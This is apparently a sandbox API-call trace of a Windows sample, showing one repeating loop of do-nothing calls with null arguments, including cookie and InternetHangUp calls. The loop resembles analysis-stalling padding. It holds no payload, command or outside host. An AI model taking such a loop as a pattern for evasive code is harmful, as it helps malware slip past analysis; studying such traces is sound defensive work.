	[0079.070] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.071] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.071] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.071] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.071] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.071] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.071] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.071] GetMenuCheckMarkDimensions () returned 983055
	[0079.071] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.071] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.071] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.071] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.071] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.071] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.071] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.071] GetMenuCheckMarkDimensions () returned 983055
	[0079.071] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.071] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.071] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.071] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.071] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.071] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.071] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.071] GetMenuCheckMarkDimensions () returned 983055
	[0079.071] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.071] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.071] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.071] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.072] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.072] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.072] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.072] GetMenuCheckMarkDimensions () returned 983055
	[0079.072] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.072] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.072] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.072] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.072] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.072] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.072] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.072] GetMenuCheckMarkDimensions () returned 983055
	[0079.072] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.072] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.072] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.072] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.072] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.072] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.072] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.072] GetMenuCheckMarkDimensions () returned 983055
	[0079.072] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.072] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.072] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.072] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.072] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.072] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.072] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.072] GetMenuCheckMarkDimensions () returned 983055
	[0079.072] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.072] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.072] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.072] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.072] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.073] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.073] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.073] GetMenuCheckMarkDimensions () returned 983055
	[0079.073] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.073] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.073] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.073] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.073] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.073] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.073] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.073] GetMenuCheckMarkDimensions () returned 983055
	[0079.073] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.073] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.073] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.073] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.073] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.073] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.073] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.073] GetMenuCheckMarkDimensions () returned 983055
	[0079.073] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.073] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.073] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.073] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.073] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.073] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.073] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.073] GetMenuCheckMarkDimensions () returned 983055
	[0079.073] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.073] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.073] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.073] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.073] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.073] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.074] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.074] GetMenuCheckMarkDimensions () returned 983055
	[0079.074] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.074] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.074] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.074] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.074] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.074] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.074] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.074] GetMenuCheckMarkDimensions () returned 983055
	[0079.074] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.074] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.074] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.074] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.074] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.074] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.074] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.074] GetMenuCheckMarkDimensions () returned 983055
	[0079.074] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.074] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.074] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.074] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.074] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.074] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.074] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.074] GetMenuCheckMarkDimensions () returned 983055
	[0079.074] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.074] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.074] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.074] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.074] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.074] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.075] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.075] GetMenuCheckMarkDimensions () returned 983055
	[0079.075] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.075] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.075] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.075] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.075] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.075] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.075] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.075] GetMenuCheckMarkDimensions () returned 983055
	[0079.075] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.075] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.075] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.075] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.075] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.075] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.075] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.075] GetMenuCheckMarkDimensions () returned 983055
	[0079.075] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.075] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.075] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.075] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.075] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.075] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.075] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.075] GetMenuCheckMarkDimensions () returned 983055
	[0079.075] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.075] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.075] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.075] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.075] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.075] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.075] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.075] GetMenuCheckMarkDimensions () returned 983055
	[0079.076] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.076] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.076] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.076] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.076] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.076] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.076] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.076] GetMenuCheckMarkDimensions () returned 983055
	[0079.076] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.076] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.076] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.076] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.076] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.076] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.076] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.076] GetMenuCheckMarkDimensions () returned 983055
	[0079.076] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.076] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.076] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.076] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.076] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.076] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.076] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.076] GetMenuCheckMarkDimensions () returned 983055
	[0079.076] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.076] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.076] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.076] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.076] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.076] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.076] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.076] GetMenuCheckMarkDimensions () returned 983055
	[0079.076] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.077] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.077] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.077] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.077] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.077] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.077] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.077] GetMenuCheckMarkDimensions () returned 983055
	[0079.077] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.077] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.077] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.077] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.077] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.077] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.077] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.077] GetMenuCheckMarkDimensions () returned 983055
	[0079.077] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.077] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.077] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.077] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.077] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.077] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.077] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.077] GetMenuCheckMarkDimensions () returned 983055
	[0079.077] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.077] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.077] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.077] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.077] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.077] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.077] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.077] GetMenuCheckMarkDimensions () returned 983055
	[0079.077] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.078] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.078] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.078] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.078] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.078] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.078] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.078] GetMenuCheckMarkDimensions () returned 983055
	[0079.078] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.078] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.078] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.078] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.078] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.078] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.078] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.078] GetMenuCheckMarkDimensions () returned 983055
	[0079.078] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.078] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.078] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.078] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.078] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.078] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.078] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.078] GetMenuCheckMarkDimensions () returned 983055
	[0079.078] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.078] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.078] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.078] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.078] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.078] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.078] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.078] GetMenuCheckMarkDimensions () returned 983055
	[0079.078] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.079] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
